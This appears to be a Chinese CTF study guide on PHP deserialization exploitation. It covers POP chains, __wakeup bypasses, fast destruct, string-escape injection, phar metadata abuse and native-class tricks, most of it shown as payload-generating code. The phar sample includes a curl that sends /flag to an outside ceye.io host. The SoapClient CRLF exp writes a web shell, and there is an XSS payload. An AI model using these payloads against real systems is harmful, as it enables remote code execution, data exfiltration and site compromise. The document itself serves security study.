一些常用的知识

private变量会被序列化为:/x00类名/x00变量名
protected变量会被序列化为: /x00/*/x00变量名
public变量会被序列化为:变量名
在PHP中,类不区分大小写

__sleep() //在对象被序列化之前运行 *

__wakeup() //将在反序列化之后立即调用 *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

如何找反序列化链

一般来说,我们都是要通过反序列的链子实现某些操作,比如rce、文件包含、文件写入等等。可以通过从结果(目的、想到实现的操作)开始一直往前推,比较容易找到一条可用的链子。

简单样例:

<?php

class ctf{
public $h1;
public $h2;

public function __destruct()
{
$this->h1->nonono($this->h2);
}
}

class big{

public function __call($name,$args){
if(preg_match('/ctf/i',$args[0])){
echo "gogogo";
}
}
}

class shen{
public $cmd;

public function __toString(){
echo "__toString";
eval($this->cmd);
}
}

unserialize($_GET['ctf']);

分析:

  1. 最终利用的是shen::__toString()来rce,所以我们下一步是找能触发它的地方。

  2. big::__call()preg_match能触发__toString方法,可以理解为正则匹配是字符串操作,所以可以触发,因此我们用这个来触发shen::__toString()。(注:把一个对象当作字符串处理可以触发__toString方法)

  3. ctf::__destruct()能触发__call,因此用它来触发big::__call()。(注:调用对象调用不存在的方法时触发__call方法)

  4. __destruct方法是在对象被销毁时触发,因此只要反序列化代码运行结束就能触发该方法。

  5. 接下来是变量赋值的细节,首先__call的触发是用的是ctf类的h1变量,h2变量会传递到__call方法的$args变量,因此h1new big()h2new shen()shen类的cmd变量是能执行命令的,因此里面是放想要执行的命令。

  6. 最终的链子是:ctf::__destruct => big::__call => shen::__toString

    <?php

    class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
    $this->h1->nonono($this->h2);
    }
    }

    class big{

    public function __call($name,$args){
    if(preg_match('/ctf/i',$args[0])){
    echo "gogogo";
    }
    }
    }

    class shen{
    public $cmd = "phpinfo();";

    public function __toString(){
    echo "__toString";
    eval($this->cmd);
    }
    }

    $a = new ctf();
    $a->h1 = new big();
    $a->h2 = new shen();

    echo serialize($a);

    // O:3:"ctf":2:{s:2:"h1";O:3:"big":0:{}s:2:"h2";O:4:"shen":1:{s:3:"cmd";s:10:"phpinfo();";}}

wakeup()绕过总结

cve-2016-7124

影响范围:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用 __wakeup() 方法再进行 unserilize 的操作,但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,__wakeup()的执行会被跳过。

样例(php 5.5.9):

<?php
highlight_file(__FILE__);

class ctf{
public $h1;
public $h2;

public function __wakeup()
{
echo "wakeup<br>";
}
public function __destruct()
{
echo "destruct<br>";
}
}


unserialize($_GET['ctf']);

正常反序列化:

GET: ?ctf=O:3:"ctf":2:{s:2:"h1";N;s:2:"h2";N;}

很明显是先触发了wakeup再触发destruct

若将"ctf":22改成3,使得对象属性个数变大,则会使wakeup不触发。

对象属性个数不匹配:

GET: ?ctf=O:3:"ctf":3:{s:2:"h1";N;s:2:"h2";N;}

wakeup_1_2

php引用赋值 &

在php里,我们可使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。

举例:

<?php
header('Content-Type:text/html;charset=utf-8');
highlight_file(__FILE__);

$a = "test";

$b = &$a;

echo '$a = '.$a;
echo "<br>";
echo '$b = '.$b;
echo "<br>";

// 修改$b的值也会修改$a的值
$b = 'new test';

echo '$a = '.$a;
echo "<br>";
echo '$b = '.$b;
echo "<br>";

这个方法是用来绕过一些特定的判断。

样例(PHP 7.1.9):

<?php
highlight_file(__FILE__);

class ctf{
public $key;

public function __destruct()
{
echo "destruct<br>";
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}

public function __wakeup(){
echo "wakeup<br>";
$this->wakeup=True;
}
}


unserialize($_GET['ctf']);

若将$this->wakeup$this->key引用关联起来,那么在__destruct里对$this->key修改时也会把$this->wakeup一起修改了,从而达成if语句的条件。

这里并没有绕过wakeupwakeup正常执行了,只不过利用了引用的特点,使得wakeup里执行的操作对我们起不了作用。

pop:

<?php

highlight_file(__FILE__);

class ctf{
public $key;

public function __destruct()
{
echo "destruct<br>";
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}

public function __wakeup(){
echo "wakeup<br>";
$this->wakeup=True;
}
}
$a = new ctf();
$a->key = &$a->wakeup;
echo serialize($a);
// O:3:"ctf":2:{s:3:"key";N;s:6:"wakeup";R:2;}

PHP GC回收机制

PHP GC 回收机制是什么

​ 在 PHP 中,是拥有垃圾回收机制 Garbage collection 的,也就是我们常说的 GC 机制的,在 PHP 中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为 NULL ,或者没有任何指针指向时,它就会被变成垃圾,被 GC 机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的 __destruct() 方法。

  • 上面这一段话我个人认为如果零基础看,会感觉到相当抽象。所以我们先来解读一下

PHP 引用计数

当我们 PHP 创建一个变量时,这个变量会被存储在一个名为 zval 的变量容器中。在这个 zval 变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

第一个字节名为 is_ref,是 bool 值,它用来标识这个变量是否是属于引用集合。PHP 引擎通过这个字节来区分普通变量和引用变量,由于 PHP 允许用户使用 & 来使用自定义引用,zval 变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是 refcount,它用来表示指向 zval 变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

接下来看看例子:

容器的生成:

<?php
$a = "test";
xdebug_debug_zval('a');
?>

这里定义了一个变量 $a,生成了类型为 String 和值为 test 的变量容器,而对于两个额外的字节,is_refrefcount,我们这里可以看到是不存在引用的,所以 is_ref 的值应该是 false,而 refcount 是表示变量个数的,那么这里就应该是1,验证一下。

接下来添加一个引用

<?php
$a = "test";
$b = &$a;
xdebug_debug_zval('a');
?>

这里的话 a 的 refcount 应该是 1,is_ref 应该是 true,验证一下

结果不同于我们所想的,这是为什么呢?

因为同一变量容器被变量 a 和变量 b 关联,当没必要时,php 不会去复制已生成的变量容器。 所以这一个 zval 容器存储了 a 和 b 两个变量,就使得 refcount 的值为 2。

容器的销毁:

当函数执行结束或者对变量调用了 unset() 函数,refcount 就会减 1。

<?php
$a="test";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

PHP GC 回收机制攻击面

  • 原理:当 is_ref 减少时,会触发 __destuct 魔术方法,由此产生的一些 trick 类型攻击

变量被unset函数处理:

<?php
highlight_file(__FILE__);
class test{
public $num;

public function __construct($num) {
$this->num = $num;
echo $this->num."__construct"."</br>";
}

public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);

当对象为NULL时也是可以触发__destruct的。

在一个 array 里面存在一个键值对,value 为某个类,当这个类为 NULL 的时候,会被认为是 is_ref 为 0,也就是 false。这就可以触发到 __destruct 方法

样例:

<?php
highlight_file(__FILE__);
$flag = "flag{test_flag}";

class B {
function __destruct() {
global $flag;
echo $flag;
}
}

$a = unserialize($_GET['ctf']);
throw new Exception('nonono');

这里因为有异常处理,所以正常情况下是无法__destruct,这时我们就需要利用GC回收机制来触发__destruct

<?php
highlight_file(__FILE__);

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array('a'=>new B,'b'=>NULL);

echo serialize($a);
// a:2:{s:1:"a";O:1:"B":0:{}s:1:"b";N;}

得到序列化文本如下

a:2:{s:1:"a";O:1:"B":0:{}s:1:"b";N;}
对象类型:对象个数:{类型:长度:键名;类型:长度:类名:值类型:长度:键名;类型;}
数组:对象个数为2:{str型:长度1:键名为"a";类:长度为1:类名为"B":值为0 str型:值为1:键名为"b":NULL型;}

这时我们将键名b改成a,即在反序列化时,会下先让a赋值为类B,之后再将a赋值为NULL,但一开始a已经是对象了,赋值为NULL时就会出现对象为NULL的情况,从而触发__destruct

a:2:{s:1:"a";O:1:"B":0:{}s:1:"a";N;}

这个是在反序列化中经常使用的方法。

fast destruct

知识点:

1、PHP中,如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

2、PHP中,如果用一个变量接住反序列化函数的返回值,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,那么在PHP脚本走完流程之后,这个对象才会被销毁,在有析构函数的情况下就会将其执行。

fast destruct 就是用来解决第二种情况带来的问题的。

解法一

当需要构造pop链的时候,反序列化后的对象被变量接住了,又要利用析构函数控制POP链的流程,这个时候就需要用到快速析构的技巧。

而且,大部分都是在类和类之间各有分工,在内部联系不是很紧密的情况下使用这种技巧。

使用索引相同的两个类,后一个类被反序列化时,前一个类会被销毁,从而调用析构函数(如果有的话)。

举例:

$unser = serialize(new array(0 => new class1(),1 => new class2(),2 => new class3(),1 => new class4(),2 => new class5()));
$target = unserialize($unser);

那么整个流程如下:

class1被反序列化

class2被反序列化

class3被反序列化

class4被反序列化,class2被销毁

class5被反序列化,class3被销毁

注意,使用这种技巧得到的数组序列化字符串,其元素值必须依然是括号内元素的个数,只是对应的key要改一下。

“后一个类” 可以是一个无用的对象,包括数组。

其实就是一种GC回收机制。

解法二

unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

这种情况只需要破坏原先的字符串格式即可,比如去掉最后的大括号,。

样例:

<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{test_flag}";

class B {
function __destruct() {
global $flag;
echo $flag;
}
}

$a = unserialize($_GET['ctf']);
throw new Exception('nonono');

// O:1:"B":0:{}

php issue#9618

php issue#9618提到了最新版wakeup()的一种bug,可以通过在反序列化后的字符串中包含字符串长度错误的变量名使反序列化在__wakeup之前调用__destruct()函数,最后绕过__wakeup(),版本:

  • 7.4.x -7.4.30
  • 8.0.x

样例(php 8.0.2):

<?php
highlight_file(__FILE__);
class A
{
public $info;
private $end = "1";

public function __destruct()
{
echo "__destruct";
$this->info->func();

}
}
class B
{
public $znd;

public function __wakeup()
{
$this->znd = "exit();";
echo '__wakeup';
}

public function __call($method, $args)
{
echo "__call ";
}
}
unserialize($_GET['ctf']);

payload:

<?php
class A
{
public $info;
private $end = "1";

public function __destruct()
{
echo "__destruct";
$this->info->func();
}
}

class B
{
public $znd;

public function __wakeup()
{
$this->znd = "exit();";
echo '__wakeup';
}

public function __call($method, $args)
{
echo "__call ";
}
}
$test=new A();
$test->info=new B();
echo serialize($test);
// O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}

很显然,wakeup在最后触发。

使用C绕过

众所周知可以使用C进行绕过wakeup,但这样有一个缺点,就是你把O改为C后是没办法有属性的,那假如需要用属性命令执行就不行了。

新方法是用原生类把原本的类打包一下,生成以C开头的payload。

这也是绕过/^[Oa]:[/d]+/过滤的方法之一。

样例(ctfshow 愚人杯3rd [easy_php]):

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[/d]+/i", $data)){
unserialize($data);
}

?>

payload:

<?php

class ctfshow {
public $ctfshow = "whoami";

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow();
$aa=new ArrayObject($a);
echo serialize($aa);

// C:11:"ArrayObject":60:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";};m:a:0:{}}

实现了unserialize接口类的大概率是C打头,列出一些以C开头的原生类:

ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

需要注意,这种方法在序列化时对php版本有要求,用7.3.4才可以输出以C开头的payload,换7.4或者8.0输出的就是O开头了,但在unserialize时对php版本没要求。

字符串逃逸

当 PHP 中序列化后的数据进行了长度替换之后,就可能存在这一漏洞,即通过修改输入数据从而控制整个序列化的内容。

反序列化知识:

  • PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外)并且是根据长度判断内容的
    • 注意点,很容易以为序列化后的字符串是;}结尾,实际上字符串序列化是以;}结尾的,但对象序列化是直接}结尾
    • php反序列化字符逃逸,就是通过这个结尾符实现的
  • 当长度不对应的时候会出现报错
  • 反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行

字符变多

样例:

<?php
highlight_file(__FILE__);
class A{
public $test1;
public $test2="hacker";
public function __construct($test1)
{
$this->test1 = $test1;
}

public function __destruct(){
if($this->test2==='admin')
{
echo "you get it!!!";
}
}
}

$test1 = $_POST['test1'];
$a = new A($test1);
$b = serialize($a);
$b = str_replace('x','yy',$b);
echo $b;
var_dump(unserialize($b));


?>

问:如果我能控制进行反序列化的字符串,该如何使$test2的值是admin而不是hacker

假如传入的test1xxx123

  • 正常情况下序列化后的字符串为O:1:"A":2:{s:5:"test1";s:6:"xxx123";s:5:"test2";s:6:"hacker";}
  • 经过替换后,变成O:1:"A":2:{s:5:"test1";s:6:"yyyyyy123";s:5:"test2";s:6:"hacker";}
  • 反序列化时,读取yyyyyy后,发现没有闭合符号,因此反序列化失败
  • 此时发现123逃逸出来了,这部分是可控的。

我们可以利用这可控的部分把test2的值改掉。

  • 这时候,需要先找到一个要逃逸那部分的字符串。

  • ";s:5:"test2";s:5:"admin";}是我们需要逃逸的部分。最简单的判断方法是先本地序列化出一个我们想要的序列化字符串O:1:"A":2:{s:5:"test1";s:6:"xxx123";s:5:"test2";s:5:"admin";},然后以xxx123为分界线,取后边所有的字符串,这个字符串就是我们需要逃逸的部分。

  • 之后统计出";s:5:"test2";s:5:"admin";}的长度为27,说明我们需要逃逸27个字符。

  • 替换函数是将x替换成yy,多出1个字符,因此输入27个x,就能逃逸出27个字符。

  • 因此test1的值为xxxxxxxxxxxxxxxxxxxxxxxxxxx";s:5:"test2";s:5:"admin";}

字符减少

样例:

<?php
highlight_file(__FILE__);
class A{
public $test1;
public $test2;
public $test3="hacker";
public function __construct($test1,$test2)
{
$this->test1 = $test1;
$this->test2 = $test2;
}

public function __destruct(){
if($this->test3==='admin')
{
echo "you get it!!!";
}
}
}

$test1 = $_POST['test1'];
$test2 = $_POST['test2'];
$a = new A($test1,$test2);
$b = serialize($a);
$b = str_replace('xx','y',$b);
echo $b;
var_dump(unserialize($b));


?>

问:如果我能控制进行反序列化的字符串,该如何使$test3的值是admin而不是hacker

假如传入的test1xxxxxxtest2abc

  • 正常情况下序列化后的字符串为O:1:"A":3:{s:5:"test1";s:6:"xxxxxx";s:5:"test2";s:3:"abc";s:5:"test3";s:6:"hacker";}
  • 经过替换后,变成O:1:"A":3:{s:5:"test1";s:6:"xxx";s:5:"test2";s:3:"abc";s:5:"test3";s:6:"hacker";}
  • 反序列化时,读取xxx";s(长度为6)后,发现没有闭合符号,因此反序列化失败。
  • 此时发现";s被吸收进test1里了,这部分是可控的,可以控制吸收多少个字符。

我们可以利用这可控的部分把一些不需要的值吸收进去,再通过控制第二个变量,构造出我们想要的东西。

  • 需要先找到一个要逃逸那部分的字符串

  • 方法和字符变多一样,先本地序列化出一个我们想要的序列化字符串O:1:"A":2:{s:5:"test1";s:6:"xxx123";s:5:"test2";s:3:"abc";s:5:"test3";s:5:"admin";},然后以xxx123为分界线,取后边所有的字符串,这个字符串就是我们需要逃逸的部分。

  • ";s:5:"test2";s:3:"abc";s:5:"test3";s:5:"admin";}是需要逃逸的部分。

  • 接下来找需要吸收的部分,我们需要把";s:5:"test2";s:3:"吸收进来,这里的:3:不是固定的,3是上面逃逸部分的长度(49)。(这个不是重点)

  • 此时我们需要把";s:5:"test2";s:49:"吸收进来,让原本test2的值成为反序列化字符串的合法部分。

  • 统计出";s:5:"test2";s:49:"的长度为20,说明我们需要吸收20个字符。

  • 替换函数是将xx替换成y,减少1个字符,因此输入40个x,就能吸收20个字符。

  • 因此传入test1的值为xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtest2的值为";s:5:"test2";N;s:5:"test3";s:5:"admin";}

Phar反序列化

Phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

生成phar文件

php内置了一个Phar类来处理相关操作

<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,基本上能使用伪协议的文件操作函数都能触发反序列化。

Phar反序列化漏洞利用

既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞

Phar反序列化不会调用 weakup 等方法

可以在不调用unserialize()的情况下进行反序列化操作。

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

phar文件生成样例:

<?php

class Flag{
public $cmd="curl http://kbqsag.ceye.io/?p=`cat /flag`";
}

$a = new Flag();

$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); //设置Stub
$phar -> setMetadata($a); //设置Meta-data
$phar -> addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering();
?>

小技巧/特性

十六进制绕过关键字

php反序列化是可以使用16进制的,只需要把类型小s改成大S

样例:

<?php
highlight_file(__FILE__);
class a{
public $test;
public function __destruct(){
echo $this->test;
}
}

$a = unserialize($_GET['ctf']);
var_dump($a);
?>

t的16进制是\74,把s改成S时,便能将\74解析成t

类名大小写不敏感

php对于类名大小写不敏感,也就是说,Aa都会认为是同一个类。

样例:

<?php
highlight_file(__FILE__);
class a{
public function __destruct(){
echo "__destruct1";
}
}

unserialize($_GET['ctf']);
?>

类内方法调用

样例代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{

public function test()
{
echo "test function";
}

}

静态调用类Atest方法:

A::test();

['A','test']();

动态调用类Atest方法:

(new A())::test();

$a = new A();
$a->test();

(new A())->test();

[new A(),'test']();

原生类相关

C开头

wakeup 和绕 /^[Oa]:[/d]+/ 过滤。

详细可以看 wakeup 绕过总结的 使用C绕过

以C开头的原生类:

ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

文件操作

  • 遍历文件目录类

    DirectoryIterator 
    FilesystemIterator
    GlobIterator

    这三个都可以遍历文件目录,可以搭配伪协议使用。

    可以用glob://且配合*查找。

    注意,这几个类不能反序列化。

    样例:

    <?php
    highlight_file(__FILE__);
    $dir = new DirectoryIterator('.');

    foreach($dir as $a ){
    echo $a."<br>";
    }

  • 读文件内容

    SplFileObject

    当用文件目录遍历到了敏感文件时,可以用SplFileObject类,SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。

    样例:

    <?php
    highlight_file(__FILE__);
    <?php
    $text= new SplFileObject('./flag.txt');
    foreach ($text as $tmp)
    {
    echo $tmp;
    }
    echo "</br>";

hash绕过和XSS实现

这里主要是用原生类ErrorException来实现。

它们两个的用法是一样的,这里以Error类作为例子讲解

Error中也有个__toString(),可以控制它的内容实现字符串的输出。

Error可以传两个参数,有个参数值的不同则对象不同也就不相等,但对由于__toString()返回的值相同md5和sha1加密后也相同,最后得到的数据也是一样的,所以可以达到hash绕过。

  • xss

    样例:

    <?php
    highlight_file(__FILE__);
    echo unserialize($_GET['ctf'])

    payload:

    <?php
    $a = new Error("<script>alert('xss test')</script>");
    echo urlencode(serialize($a));
    // O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A34%3A%22%3Cscript%3Ealert%28%27xss+test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22W%3A%5Cphpstudy_pro%5CWWW%5C114.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

  • hash

    样例:

    <?php
    highlight_file(__FILE__);
    $a = new Error("test",1);$b = new Error("test",2);

    if($a !== $b)
    {
    echo '$a != $b'."</br>";
    }

    if(md5($a) === md5($b))
    {
    echo "md5相等";

    }

    ?>

SSRF

利用SoapClient原生类的 __call方法进行SSRF

使用前提:

  1. 需要有soap扩展,且不是默认开启,需要手动开启
  2. 需要调用一个不存在的方法触发其__call()函数
  3. 仅限于http/https协议

正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法。

CRLF攻击

什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a ,在HTTP当中headerbody之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。

SoapClient 在调用发送数据时,存在CRLF漏洞,因此我们可以通过控制其中一个http头来构造出我们想要的请求包。

Content-Length是HTTP消息长度,它指定多少个字符,就读取多少个字符,多余的字符会被丢弃,所以可以通过控制Content-Length的长度,将没用的消息忽略掉。

使用SoapClient反序列化+CRLF 可以生成任意POST请求

exp:

<?php
$target = 'http://127.0.0.1/flag.php';
// 填入post的数据
$post_string = 'a=file_put_contents("shell.php", "<?php phpinfo();?>");';
// 填入你想要的http头
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: aaaa=ssss'
);

$user_agent = 'aaa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string;

$options = array(
'location' => $target,
'user_agent'=> $user_agent,
'uri'=> "aaab"
);

$b = new SoapClient(null, $options);

$aaa = serialize($b);
$aaa = str_replace('^^', '%0d%0a', $aaa);
$aaa = str_replace('&', '%26', $aaa);
echo $aaa;

?>

参考链接

PHP反序列化中wakeup()绕过总结

浅析PHP GC垃圾回收机制及常见利用方式

PHP序列化冷知识

从qwb webshell 题深入快速析构

愚人杯3rd [easy_php]

PHP之序列化与反序列化(原生类应用篇上)

PHP原生类的反序列化利用

PHP反序列化——字符逃逸漏洞(肯定能看懂的!)